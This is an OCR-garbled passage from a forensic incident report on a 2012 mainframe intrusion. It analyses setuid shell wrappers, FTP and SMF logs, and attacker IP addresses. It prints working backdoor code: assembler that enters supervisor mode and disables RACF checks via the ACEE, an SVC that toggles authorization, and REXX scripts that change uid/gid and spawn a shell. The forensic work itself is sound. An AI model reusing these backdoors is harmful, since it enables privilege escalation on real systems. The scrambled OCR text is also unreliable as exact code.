Figure 70 System and l ibra ry ca I ls  performed from the ma in( )  function in  the u ploaded program "qwe" 

From the types of ca I l s, the a ctua l  type of fi l e  ( i t  is setu id  a nd  setg id  to a specif ic user a nd  

group )  a nd  t he  actua l  context i n  wh ich i s  wa s  p l aced onto t he  system we  d raw t he  conc lus ion  

that  th i s  i s  a wrapper  p rogra m to  actu a l ly l a u nch a command  i nte rprete r - a so ca  l i ed s he l l 

that i s  run ned with the permiss ions as  the user  who it i s  setu id  to. 

From the SMF su btype 30 log, the com mand  execut ion l og d i sp l ay  that the com mand  qwe 

have N OT been executed on SYS3.  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 is  the same as  for asd, be, e rr, 

d044, daf1367, daf1473, e90opc, v077229 

daf1 3 6 7  

Th is  fi l e  was  found  on SYS3. 
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l - rwsr-s r-x 1 OAF1367 0955 77824 Ma r  20 09 :41 

Figure 71 Fi l  e l isting of fi le daf1367 

Th i s  fi l e  i s  setu i d  to the user OAF1367 a nd  setg id  to the  group  0955. 

daf1367 

The fi le  was i nsta l led on the system at 09 :41  on the 201h of ma rch 2012 .  

Sidan 1 42 av  574 

Report 

The b i na ry a na lys i s  of the fi l e  give the fact that  on ly a short l i st of system ca I l s  a nd  l i b ra ry ca I l s  

exi sts i ns ide t he  actua l  p rogra m b i na ry. These c a  I l s  a re I i sted i n  t he  figu re here .  

Funct ions  ca l l ed from ma i n ( ) :  

exit( ) 

ato i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getg id ( )  

pr i ntf( ) 

execve( )  

perror( )  

Figure 72 System and l ibra ry ca l ls  performed from the main()  function in  the uploaded program "daf1367" 

From the types of ca I l s, the actua l  type of fi l e ( i t  is setu id  a nd  setg id  to aspecif ic user a nd  

group )  a nd  t he  a ctua l  context i n  wh ich  i s  wa s  p l aced onto t he  system we  d raw t he  con cl us ion 

that th i s  i s  a wra pper p rogra m to actua l ly l a unch a com mand  i nte rpreter - a so ca  l i ed s he l i 

that i s  run ned with the permiss ions a s  the user who it i s  setu id  to. 

F rom the SMF  su btype 30 log, the com mand  execution  log d i sp l ay that the com mand  daf1473 

have been executed on  SYS3.  

20Ma r12 09:42 N US TCPFTP2 93 . 186. 170. 54 daf1367 

20Ma r12 09:42 N U S  TCPFTP4 93 . 186. 170.54 daf1367 

20Ma r12 09:42 N US TCP FTP6 93 . 186. 170.54 daf1367 

20Ma r12 09:47 N U S  TCPFTP4 93 . 186. 170.54 daf1367 

20Ma r12 09:47 N US TCPFTP5 93 . 186. 170. 54 daf1367 

20Ma r12 09:48 N U S  TCPFTP6 93 . 186. 170.54 daf1367 

20Ma r12 09 :50 N US TCPFTP5 93 . 186 . 170. 54 daf1367 

20Ma r12 09 :57  N U S  TCPFTP9 93 . 186. 170.54 daf1367 

20Ma r12 09 :59 N US TCPFTP8 93 . 186. 170. 54 daf1367 

20Ma r12 10 :01 N US TCP FTP2 93 . 186. 170.54 daf1367 

20Mar12  10 :01 N US TCPFTP2 93 . 186. 170.54 daf1367 
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Figure 73 Log entry showin the execution of the uploaded program "daf1367" 

Sidan 1 43 av 574 

Report 

The N US user, l ogged i n  from the sou rce lP address 93. 186. 170. 54 (93 . 186. 170.54) , has  

executed th i s  p rogra m m u lt i p l e  t imes between on 09 :42 and  10 :01 on the 20th of  ma rch 

2012 .  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 i s  the same as for asd, be, e rr, 

d044, qwe, daf1473, e90opc, v077229 

daf1473 

Th i s  fi le  was found  on SYS3 

j -rwsr-s--- 1 DAF1473 E077 77824 Mar  20 10 :22 

Figure 7 4  F i l  e l isting of file daf1473 

Th i s  fi le  is setu i d  to the user DAF1473 and  setg id  to the group  E077. 

daf1473 

The fi le  was i n sta l led on the system at 10 :22 on the 201h of ma rch 2012.  

The b i na rv ana lys i s  of the fi l e  g ive the fact that on ly a sho rt l i st of system ca I l s  and l i b ra ry ca I l s  

exi sts i ns ide  t he  actua l  p rogra m b i n a ry. These ca l l s  a re I i sted i n  t he  figu re here .  

Funct ions ca l l ed from ma  i n ( ) :  

exit( ) 

ato i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getg id ( )  

pr intf( ) 

execve( )  

perror( )  

Figure 75 System and l ibrary ca l ls  performed from the main( )  function in  the uploaded program "daf1473" 

From the types of ca I l s, the a ctua l type of fi l e  ( i t  is setu i d  a nd  setg id  to aspecif ic user a nd  

group) a nd  t he  a ctua l  context i n  wh ich  i s  was p l aced onto t he  system we  d raw t he  con cl us ion 

that th i s  i s  a wra pper p rogra m to actu a l ly l a u nch a com mand  i nte rpreter - a so ca l i ed s he l l 

that i s  run ned with the permiss ions a s  the user who it i s  setu id  to. 

From the SMF su btype 30 l og, the com mand  execut ion l og d i sp l ay  that the com mand  daf1473 

have been executed on SYS3.  
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20Ma r12 10 :22 N US TCPFTP3 93. 186. 170.54 daf1473 

20Ma r12 10 :23 N US TCPFTP9 93. 186. 170.54 daf1473 

Figure 76 Log entry showin the execution of the uploaded program "daf1473" 

Sidan 1 44 av 574 

Report 

The N US user, l ogged i n  from the sou rce l P  address 93 . 186. 170. 54 (93 . 186. 170.54) , have 

executed th i s  p rogra m twice on 10 :22 a nd  10 :23 on the  20th of march 2012 .  

The M D5 checks um  37ece300a88ca0c102bd becce184d5f4 is  the sa me  as  for asd, be ,  err, 

d044, qwe, daf1367, e90opc, v077229 

e905opc 

Th i s  fi l e  was found  on SYS3 

l - rwsr-s--- 1 E9050PC D3840PCG 77824 Ma r  20 10:03 e905opc 

Figure 77 Fi l  e listing of file e905opc 

Th i s  fi l e  is setu i d  to the user E9050PC and  setg id  to the  grou p D3840PCG . 

The fi l e  was i nsta l led on the system at 10:03 on the 201h of ma rch 2012 .  

The b i n a ry a na lys i s  of the fi l e g ive the fact that on  ly a short l i st of system ca I l s  and  l i bra ry ca I l s  

exists i n s i d e  t he  actua l  progra m b i n a ry. These ca l l s  a re I i sted i n  t he  figu re here .  

Fu nct ions  ca l l ed from ma i n ( ) :  

exit( )  

ato i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getgid O 
pr i ntf( ) 

execve ( )  

perror ( )  

Figure 78 System and l ibrary c a  I ls  performed from t h e  main()  function in  t h e  uploaded program "e90opc" 

From the types of ca I l s, the a ctua l  type of fi l e ( i t  i s  setu id  a nd  setg id  to aspecif ic user a nd  

grou p)  a nd  t he  a ctua l  context i n  wh i ch i s  was p l aced onto t he  system we  d raw t he  conc l u s ion  

that  th i s  i s  a wra pper p rogra m to  actu a l ly l a u nch a co mmand  i nte rprete r - a so ca  l i ed s he l i 

that i s  ru n ned with the perm iss ions as  the user who it i s  setu id  to. 
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Report 

From the SMF  su btype 30 log, the command  execution l og d i sp l ay that the command e905opc 

have been executed on SYS3 .  

l 20Ma r12 10:04 N US TCPFTP2 93. 186. 170.54 e905opc 

Figure 79 Log entry showin the execution of the uploaded program "e90Sopc" 

The N US user, l ogged i n  from the sou rce l P  add ress 93. 186. 170.54 (93 . 186. 170.54) , have 

executed th i s  p rogra m 10:04 on the 20th of Ma rch 2012 .  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 is  the sa me as  for asd, be, e rr, 

d044, qwe, daf1367, daf1473, v077229 

Q we 

Th i s  fi le  was found  on SYS3 

The fi le  qwe had been created by the DAF1473 user  on March 20. lt is nota b le  that the fi l e  i s  

not setu id ,  even if the  s i ze  of  the  fi l e i s  exact ly the  sa me as  for the  setu i d  progra ms .  

Rocsh 

- rwxr-x--- 1 DAF1473 0384 77824 Mar  20 13 : 15 qwe 

Figure 80 Fi le metadata for the fi le " qwe" 

N ate : th i s  fi l e  was found  on SY19, not SYS3 .  

Th i s  fi le  was i nsta l l ed  i n  /va r 

Ou r a n a lys i s  show that th i s  is a n  ord i n a ry "she l l", i .  e .  a U n ix com m a nd i nterpreter used to 

execute p rogra ms .  This conc l us ion come from the com pa r ison of the fi l e content  with the 

ord i n a ry z/05 USS she l l  p rogra m .  The on  ly d i ffe rence with the ord i n a ry U n i x  she l l i s  that Rocsh 

have the setu i d  fl ag on the fi l e, and be ing owned by the SU PERS U R. Thus, i f  being executed,  

the user wi l l  tem pora ri l y  be gra nted SU PERUSR  priv i l eges. 

As ca n be seen from the fo l l owing l ogs, th is fi l e  have been  executed by the perpetratar a 

n u  m ber of t imes .  

U NXCM D.SY19. FROM0229.txt : 10Ma r12 17 : 10 AVIY356 BPXASA 203 . 176. 141 . 205 rocsh 

U NXCMD.SY19 . FROM0229.txt : 10Mar12 17 : 10 AVIY356 BPXASA9 203 . 176. 141 . 205 rocsh 

U NXCMD.SY19 . FROM0229.txt : 10Mar12 19 :30 AVIY357 TCPFTP2 27 . 109 . 1 18 .33 rocsh 

U NXCM D.SY19. FROM0229.txt : 10Ma r12 19 : 3 1  AVIY357 TCPFTP6 27 . 109 . 1 18 .33 rocsh 

U NXCMD.SY19. FROM0313 .txt : 15Ma r12 16 :36  SU PERUSR  SUPERUSR 178. 18 .243 .27  rocsh 
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Report 

U NXCMD.SY19. FROM0313 .txt : 15Mar12 16 :36 SUPERUSR SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Mar12 16 :36 SUPERUSR SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Mar12 16 :36 SU PERUSR SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . F ROM0313 .txt : 15Ma r12 16 :36 SU PERUSR SU PERUSR 178. 18. 243 .27 rocsh 

U NXCMD.SY19 . F ROM0313 .txt : 15Ma r12 16 :36  SUPERUSR SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Mar12 16 :37 SUPERUSR SU PERUSR 178 .18 .243 .27 rocsh 

U NXCMD.SY19 . FROM03 13 . txt : 15Mar12 16 :37 S U P ERUSR SU PERUSR 178 .18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 17 : 28 SU PERUSR SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . F ROM0313 .txt : 15Mar12  17 :28 S U P ERUSR SU PERUSR 178 . 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM03 13 .txt : 15Ma r12 17 :33 SU PERUSR  SU PERUSR 178 .18 .243 .27 rocsh 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 17 :33  SU PERUSR  SU PERUSR 178. 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 17 :33  SU PERUSR  SU PERUSR 178. 18 .243 .27 rocsh 

U NXCM D.SY19 . FROM03 13 .txt : 15Mar12  17 :33  S U P ERUSR  SU PERUSR 178 . 18 .243 .27 rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Mar12 17 :33  SU PERUSR  SU PERUSR 178. 18. 243 .27  rocsh 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 17 :33  S U P ERUSR S U P ERUSR 178 . 18 .243 .27  rocsh 

U NXCMD.SY19. FROM0313 .txt : 15Ma r12 19 :00 SU PERUSR  SU PERUSR 178 . 18 .243 .27 rocsh 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 19 :00 SU PERUSR  SU PERUSR 178. 18 . 243 .27  rocsh 

Figure 8llog fi les showing the execution of the fil e "rocsh" 

V0 7 7 2 2 9  

Th i s  fi le  was  seen on  SYS3.  

Th i s  fi le  i s  setu i d  to the user V077229 and setg id  to the group  V384. 

The b i n a ry a na lys i s  of the fi l e give the fact that on ly  a sho rt l i st of system ca I l s  a n d  l i b ra ry ca I l s  

exists i ns ide t he  actua l  p rogra m b i n a ry .  These c a  I l s  a re I i sted i n  t he  figu re here .  

Funct ions  ca l l ed from ma i n ( ) :  

exit( ) 

ato i ( )  

setg id ( )  

Strict ly confidenti a l  f Bus i ness Secret l 



setu i d ( )  

getu i d ( )  

getg id  O 
pr intf( ) 

execve( )  

perror O 

Sidan 1 47 av 574 

Report 

Figure 82 System and l ibrary ca I ls  performed from the ma in( )  function in the uploaded program "v0077229" 

From the types of ca I l s, the a ctua l  type of fi l e ( i t  is setu id  a nd  setg id  to a specif ic user a nd  

group )  a nd  t he  actua l  context i n  wh ich i s  was p l aced onto t he  system we  d raw t he  conc lus ion  

that  th i s  i s  a wra pper progra m to actua l ly l a u nch a com m a nd i nterpreter - a so ca  l i ed she l i 

that i s  ru n ned with the perm iss ions as  the user who it i s  setu i d  to. 

The M D5 checks um  37ece300a88ca0c102bd becce184d5f4 i s  the sa me as  for asd, be, e rr, 

d044, qwe, daf1367, daf1473 a n d  e90opc 

From the SMF su btype 30 l og, the command  execution  l og d i sp lay that the com m a nd v077229 

have been executed on SYS3.  

l 20Mar12 10 :29 N US TCPFTP2 93 . 186. 170.54 v077229 

Figure 83  log entry showin the  execution of  the  u ploaded program "v077229" 

The N US user, l ogged i n  from the sou rce l P  address 93 . 186. 170.54 {93 . 186. 170.54) , have 

executed th i s  p rogra m 10:29 on the 20th of Ma rch 2012 .  

Missing files or programs believed to be backdoors 

The fo l l owi ng fi l es a re sti l l  m i ss i ng  and of u n known content. We suspect that these a re 

vers ions  of backdoor p rogra m or h acker too l s .  

Kur u 

Th i s  fi l e  was stored on SYS3.  l t  was stored i n  /tm p  

There i s  a fi l e  ca l led "ku ru", with fi l e  s i ze 658 bytes, that  i s  be ing u p loaded by user N U S  from 

the l P  add ress 93 . 186. 170. 54 to SYS3 on  the 201h of ma rch at 09 . 17 .42 .  Th us  at a m uch l ater 

stage in the i nc ident, a nd  a l so to the other  partit i on ,  not the fi rst pa rt it i on  that was attacked .  

T C P_FTP_SERVER_T_S Y S 3_ 0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 1 7 . 4 2 . 0 8 0 0 0 0 ; ? UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; S) �()Ft ; S EQ ; NUS ; A ; S ; F ; H  

; 0 8 . 1 7 . 4 2 ; 0 8 . 1 7 . 4 2 ; 6 5 8 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / ku r u  

T C P_FTP_SERVER_T_S Y S 3_ 0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 1 9 . 4 0 . 9 2 0 0 0 0 ; ? UNKNOWN ; S YS 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; S) �()Ft ; s EQ ; NUS ; A ; S ; F ; H  

; 0 8 . 1 9 . 4 0 ; 0 8 . 1 9 . 4 0 ; 6 5 6 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / ku r u  
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Figure 84 Extracts from the FTP logs showing how the file " kuru" were UPLOADED 
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lt i s  not u n l i ke ly that th i s  progra m l scri pt have recem b la nce to, o r  pa rt ly over ia  p with, the 

"ku rwa" scri pt found  on  SYS3 or  a ny of the "d u ku", "ku ku" or  "d uqu"  scr i pts found  on SY19 .  

Tfy.source.backdoor 

There i s  a fi l e  ca l l ed "tfy .sou rce . backdoor", with fi l e  s i ze 6150 bytes, that i s  be ing up l oaded by 

user  BSNOOSS from the l P  add ress ;46. 59 .51 . 181 to SV19 on the 6th of ma rch at 17 .45 .09 .  

TCP _FTP _SERVER_ T _SY19 _0201-0309 . csv:2012-03-06; 17 .00 .00;2012-03-06-

17 .45 .09 .390000; ?U N KNOWN;SY19; ;217 . 150. 174.80;2 1; ; ;STOR;SEQ; BSN0058;A;S; F ;H ; 16 

.45 .09; 16.45 .09;6 150;S; ; ; ; FTPD1;sema i nf;46 .59 .51 . 181;62337;ISYSTEMitm pltfy .sou rce . b  

ackdoor 

TCP _FTP _SERVE R_ T _SY19 _0201-0309 . csv :2012-03-06; 17 .00 .00;2012-03-06-

17 .53 .07 .570000; ?U N KNOWN;SY19;;2 17 . 150. 174.80; 2 1; ; ;D E LE ;SEQ;BSN0058;A;S; F; H ; 16.  

53 .07; 16 .53 .07;0;S; ; ; ; FTPD1;sema i nf;46 .59 .51 . 181;62337;ISYSTEMitm pltfy.sou rce . back 

door 

Figure 85 Extra e t  from FTP log showing t h e  upload and deletion o f  t h e  "tfy.source.backdoor" f i l  e 
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Figure 86 Screendump showing"tfy.source " file 

There is a re lat ion between the assemb le r  sou rce code in F igure 87 on page 152 

and  the H igh- level Assem bler  sou rce code l i sti ng shown i n  F igure 86 on page 148. 

The stri ngs in this fi l e  i s  of extra i nte rest : 
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• Li nes sta rt i ng  with a n  aste r isk '* '  is comments made by the progra m mer  i n  the sou rce 

code a nd  is not seen by the assem b le r  p rogra m 

.Li nes sta rt i ng  with WTO ( i t  e rroneous ly looks l i ke WTC i n  the screend u m p) i s  texts to 

be d i sp l ayed on  the output. 
• The screen d u m  p i s  from the Hercu les system ru n n i ng at the perperators s i te 

Strictly confidenti a l  l Bus i ness Secret l 



Strictly confidenti a l  l Bus i ness Secret l 

Sidan 1 50 av 574 

Report 



RO EQU O 
Rl EQU l 
R2 EQU 2 
R3 EQU 3 
R4 EQU 4 
R5 EQU 5 
R6  EQU 6 
R7 EQU 7 
R8 EQU 8 
R9  EQU 9 
Rl O EQU 1 0  
R1 1 EQU 1 1  
R 1 2  EQU 1 2  
R1 3 EQU 1 3  
R1 4 EQU 1 4  
R1 5 EQU 1 5  
* 

ASCBPVT EQU X ' 2 2 4 ' 
ASCBASXB EQU X ' 6C '  
ASXBACEE EQU X ' C 8 '  
* MACRO IMPORTS 

IHAACEE 
* 

TFY CSECT 
SAVE 
LR 
U S ING 
LA 
ST  
ST  
LR 
WTO 
LA 
sv c 
WTO 

( Rl 4 , Rl 2 ) , , TRAGEDY , TYRANNY 
R1 2 , Rl 5  
TFY , R1 2  
R6 , SAVEAREA 
R6 , 8 ( R1 3 )  
R1 3 , SAVEAREA+ 4 
R1 3 , R6 
' SERVI CE 2 4 2  : :  ART AND STRATEGY ' 
RO , l 
2 4 2  
' MASTER,  I M  S O  GLAD TO FEEL YOUR PRE SENCE . . .  ' 

0 0 0 0 0 0 1 0  
0 0 0 0 0 0 2 0  
0 0 0 0 0 0 3 0  
0 0 0 0 0 0 4 0  
0 0 0 0 0 0 5 0  
0 0 0 0 0 0 6 0  
0 0 0 0 0 0 7 0  
0 0 0 0 0 0 8 0  
0 0 0 0 0 0 9 0 
0 0 0 0 0 0 9 1 
0 0 0 0 0 0 9 2 
0 0 0 0 0 0 9 3 
0 0 0 0 0 0 9 4 
0 0 0 0 0 0 9 5 
0 0 0 0 0 0 9 6  
0 0 0 0 0 0 9 7 
0 0 0 0 0 0 9 8  
0 0 0 0 0 0 9 9  
0 0 0 0 0 1 0 0  
0 0 0 0 0 1 0 1  
0 0 0 0 0 1 0 2  
0 0 0 0 0 1 0 4  
0 0 0 0 0 1 0 5  
0 0 0 0 0 1 2 0  
0 0 0 0 0 2 0 0  
0 0 0 0 0 3 0 0  
0 0 0 0 0 4 0 0  
0 0 0 0 0 5 0 0  
0 0 0 0 0 6 0 0  
0 0 0 0 0 7 0 0  
0 0 0 0 0 8 0 0  
0 0 0 0 0 9 0 0  
0 0 0 0 1 0 0 0  
0 0 0 0 1 1 0 0  
0 0 0 0 1 1 1 0  
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MODESET KEY=ZERO , MODE=SUP 
WTO 
L 
L 
L 
U S ING 
WTO 
MVC 
MVC 
WTO 
O I  
O I  
O I  
O I  
MVC 
LA 
STC 
LA 
STC 
MVC 
MVC 
L 
LR 

RETURN 
SAVEAREA DS 
* 

L IBRPROC DC 
L IBRUSRI DC 
L IBRGRPN DC 
* 

I DWOBLK EQU 
I DWO LEN DC 

DC 
I DWOMSG DC 
I DWOUSRI DS 

' BUT YOU DONT SEEM TO SHARE MY AMB I T I ONS ' 
R5 , ASCBPVT 
R5 , ASCBASXB ( R5 ) 
R5 , ASXBACEE ( R5 )  
ACEE , R5 
' I  RELY UPON YOU TO BREAK THE S I LENACEE ' 
I DWOUSRI , ACEEUSRI 
I DWOGRPN , ACEEGRPN 
MF= ( E , I DWOBLK ) 
ACEEFLG1 , ACEES PEC+ACEEOPER+ACEEAUDT+ACEERACF 
ACEEFLG2 , ACEEALTR+ACEECNTL+ACEEUPDT+ACEEREAD 
ACEEFLG3 , ACEEACLT+ACEENPWR 
ACEEFLG4 , ACEEUATH+ACEEDASD+ACEETAPE+ACEETERM 
ACEEPROC , L I BRPROC 
R0 , 8  
RO , ACEEUSRL 
R0 , 4  
RO , ACEEGRPL 
ACEEUSRI , L I BRUSRI 
ACEEGRPN , L IBRGRPN 
R1 3 , SAVEAREA+ 4 
R1 5 , R2 
( R1 4 , R1 2 ) , RC= ( R1 5 )  
1 8 F  

C ' BPXP INPR ' 
C ' BPXO IN IT ' 
C ' SY S 1 ' 

* 

AL2 ( I DWO_END- I DWO LEN ) 
H '  O '  
C ' JA , DU B I ST KOMRADE ' 
CL 8 
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0 0 0 0 1 2 0 0  
0 0 0 0 1 4 0 0  
0 0 0 0 1 5 0 0  
0 0 0 0 1 6 0 0  
0 0 0 0 1 7 0 0  
0 0 0 0 1 8 0 0  
0 0 0 0 1 8 1 0  
0 0 0 0 1 9 3 6  
0 0 0 0 1 9 3 7  
0 0 0 0 1 9 4 0  
0 0 0 0 1 9 5 0  
0 0 0 0 1 9 6 0  
0 0 0 0 1 9 7 0  
0 0 0 0 1 9 7 1  
0 0 0 0 1 9 8 0  
0 0 0 0 1 9 8 1  
0 0 0 0 1 9 8 2  
0 0 0 0 1 9 8 4  
0 0 0 0 1 9 8 5  
0 0 0 0 1 9 9 0  
0 0 0 0 2 0 0 0  
0 0 0 0 2 0 1 0  
0 0 0 0 2 1 0 0  
0 0 0 0 2 3 0 0  
0 0 0 0 2 4 0 0  
0 0 0 0 2 4 0 1  
0 0 0 0 2 4 1 0  
0 0 0 0 2 4 1 1  
0 0 0 0 2 4 1 2 
0 0 0 0 2 4 2 0  
0 0 0 0 2 5 0 0  
0 0 0 0 2 6 2 0  
0 0 0 0 2 6 3 0  
0 0 0 0 2 8 1 0  
0 0 0 0 2 9 0 0  
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DC C '  
I DWOGRPN DS CL S 

DC C '  
I DWO END EQU * 

END TFY 

IM CELL l 

AUF DIE  ROTE ARME COMMUNI ST FRACTION ! '  

Repan 

0 0 0 0 2 9 2 0  
0 0 0 0 2 9 3 0  
0 0 0 0 2 9 5 0  
0 0 0 0 3 0 0 0  
0 0 0 0 3 1 0 0  

Figure 87 Assembler sou rce code for the "TFY.SOU RCE.BACKDOOR" program 
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The re i s  a re lat ion between the assemb le r  sou rce code i n  F igure 87 on  page 152 

and  the H igh- leve! Assem ble r  sou rce code l i st i ng shown i n  F igure 86 on page 148. 

Ana lysis a nd  com menta ry on  the progra m  a nd  its content :  

• Th i s  progra m i s  supposed ly run ned with extended priv i l eges (Supervisor mode ) 
• l t  man i p i u l ates the ACEE  and  d i sab le  a Iot of RACF  permiss ion checki ng 

The stri ngs in th is fi l e  i s  of extra i nterest : 

There a re m u lti p le  references to the band "front 242" : 

• S E RV I C E  2 4 2  : : ART AND S TRAT EGY 

• MAS T E R ,  I M  S O  GLAD T O  FE E L  YOUR PRE S ENCE 

• BUT YOU DONT S EEM TO S HARE MY AMB I T I ON s  

• I RE LY U FON YOU TO BREAK T H E  S I LENACE E  

The spe i i i  ng of  the l a st word shou l d  be noted .  ACEE  i s  the  Access Contra ! E l ement .  

• JA , DU B I S T  KOMRADE 
• IM CELL 
• AUF DIE ROTE ARME COMMUNI ST FRACT ION ! 
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vc242 

Another  p rogra m of re leva nce to th is type of backdoor i s  th is assem b le r  code .  Th i s  program was obta ined from the i nvestigati ng po l i ce as  a sa mp le  to sea rch 

for in the ma i nfra me .  l t  i s  found  on one of the perpetrators com puter. 

I GC 0 0 2 4B T I TLE ' ZWE I VIER ZWE I ' 
I GC 0 0 2 4 2  CSECT 

LR 1 2 , 6 
U S I NG IGC0 0 2 4 2 , 1 2 
L 2 ,  X '  6C ' ( 7 )  
L 2 , 1 8 0  ( 4 )  
BCT O , AUTHOFF 

AUTHON EQU * 

OI  2 3 6 ( 2 ) , X ' 0 1 '  
B RETURN 

AUTHOFF EQU * 

NI  2 3 6 ( 2 ) , X ' FE '  
RETURN EQU * 

BR 1 4  
END I GC 0 0 2 4 2  

Figure 88 Source code listing for assembler program " vc242" 

Ana lysis a nd  com m enta ry on the p rogra m and  its content :  

• Th i s  i s  a serv ice, that wi l l  be at a specif ic add ress l serv ice code 
• l t  wi l l  togg le same secu rity function  on & off 
• l t  i s  be l i eved to be used i n  conj unct ion with the other p rogra m written i n  HASM 

0 0 0 0 0 0 2 0  
0 0 0 0 0 1 0 0  
0 0 0 0 0 2 0 0  
0 0 0 0 0 3 0 0  
0 0 0 0 0 3 1 0  
0 0 0 0 0 4 0 0  
0 0 0 0 0 5 0 0  
0 0 0 0 0 6 0 0  
0 0 0 0 0 7 0 0  
0 0 0 0 0 8 0 0  
0 0 0 0 0 9 0 0  
0 0 0 0 1 0 0 0  
0 0 0 0 1 1 0 0  
0 0 0 0 1 2 0 0  
0 0 0 0 1 3 0 0  
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Comparative analysis 

Som e of the too l s u sed in the attacks bea r s im i l a rit ies to eachother, even if they ex i st on 

d ifferent systems or partit ions .  

Go.rx and kurwa 

trwsr-s r-x l WMCMBAl STCG ROU P 387 Ma r  20 09 :24 ku rwal 

Figure 89 Fi le metadata for the program "kurwa" 

The ku rwa progra m was up l oaded by the user N US i nta the SYS3 part it io n .  As stated a bove, we 

do not see i n  the l ogs when the go. rx p rogra m is up l oaded with FTP to SY19, as it m ight not 

have been up l oaded with that tra nspartat ian mechan i sm .  

TCP _FTP _SERVER_ T _SYS3_03 10-0327 . csv :2012-03-20;09 .00 .00;2012-03-20-

09 .24.54.530000; ?U N KNOWN;SYS3; ; 192 . 16. 143 . 2; 21; ; ;5TQR ;sEQ; N US;A;S; F ;H ;08 .24. 54;08 .2  

4. 54;403;S ; ; ; ; FTPD1; DAFAS;93 . 186. 170.54;27722;/tmp/ . ,/ku rwa 

Figure 90 Extract from FTP logs describing when the " ku rwa " program was uploaded to SYS3 

The fi l e go . rx is not to be found  by the fi les  up l oaded by FTP i n  the FTP l ogs .  

As we have seen in the h i story fi l e for SY19 (see F igure 17 on  page 59 ) , we have seen the 

l ogged in user  execute the go . rx scr i pt, thus  th i s  progra m have been executed on  the system 

m u lt i p le  t i mes .  

rom$ mo r e  go . rx . EXTRAC T S / g o . rx . S TR I N G S  

0 / *  REXX * /  

1 1  c a l l  s ys c a l l s  ' ON '  

3 0  addr e s s  s y s c a l l ' ge t e u i d ' 

5 6  c u re u i d= r e tv a l  

7 1  addr e s s  s y s c a l l  ' ge t e g i d ' 

9 7  cu r e g i d= r e tv a l  

1 1 2  s a y  ' e :  ' c u re u i d  ' g :  ' cu r e g i d  

1 4 5  n e wu i d= a r gv . 2 

1 6 1  n e wg i d= __ a r gv . 3 

1 7 7  s a y  ' n e w : ' n e wu i d  ' ' n e wg i d  

2 0 7  addr e s s s y s c a l l ' s e t g i d  ' n e wg i d  



2 4 0  actdr e s s s y s c a 1 1 ' s e t u i d  ' n e wu i d  
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2 7 3  c a 1 1  bpxwu n i x  ' / b i n / s h ' , , , ,  e nvi r o nmen t . 

Figure 91 REXX program "go.rx" ca ptured from the SY19 partition 

The next p rogra m is  s im i l a r  i n  s ize and  content. The pu rpose seem to be s im i l a r, to ga i n  extra 

pr iv i l eges in the system .  

r om$ mo r e  . .  / s y s 3 / ku rw a . EX TRAC T S / kurwa . S T R I NG S  

O / *  REXX * /  

1 1  c a 1 1  s ys ca 1 1 s  ' ON '  

3 0  actdr e s s s y s c a 1 1 ' ge t e u i d ' 

5 6  cu r e u i d= r e tv a 1  

7 1  actdr e s s s y s c a 1 1 ' g e t e g i d ' 

9 7  cu r e g i d= r e tv a 1  

1 1 2  s a y  ' e u i d : ' cu re u i d  ' e gi d :  ' c u re g i d  

1 4 9  actdr e s s s y s c a 1 1 ' s e t u i d  ' cure u i d  

1 8 3  actdr e s s  s y s c a 1 1 ' s e t g i d  ' cure g i d  

2 1 7  actdr e s s s y s c a 1 1 ' ge t e u i d ' 

2 4 3  s a y  ' e u i d : ' re tva 1 

2 6 2 actdr e s s s y s c a 1 1 ' ge t g i d ' 

2 8 7  s a y  ' g i d : ' r e t v a 1  

3 0 5  e nv . 0 = 1  

3 1 3  e nv . 1 = ' PATH= / b i n : / sb i n / u s r / s b i n : / u s r / b i n ' 

3 5 5  c a l 1  bpxwu n i x  ' / b i n / s h ' , , , , e nv . 

Figure 92 REXX program " kurwa" captured from the SYS3 partition 

The go. rx p rogra m is ed ited at severa l occat ions by the user .  Th i s  i s  be l i eved to be a n  ite rative 

deve lopment .  Some program e rrors have forced some ed it i ng to fix these bugs .  

Th i s  i s  a l i sti ng of progra m execut ions .  The progra m executed i s  the REXX i nte rpreter. l t  i s  

be l i eved that WMSTOTI, AVIY356, AVIY991, WM ROCAR and  BSN0058, users that  got the i r 

accou nts h ijacked by the perpetrator, have been ru n n i ng the above mentioned REXX, o r  the 

du ku, kuku  or  duqu REXX progra ms  on  the system SY19 .  For i nformation  on d u ku ,  see Duku  on 

page 104. For  "Ku ku" see page 103.  For " Duqu"  see page 130. 

An exa m p l e  from the l ogs of this execut ion i s  showed be low. A more comp l ete l og i s  showed i n  

a ppend ix "Logs on execution  o f  REXX progra ms on  SY19" on  page 171 .  

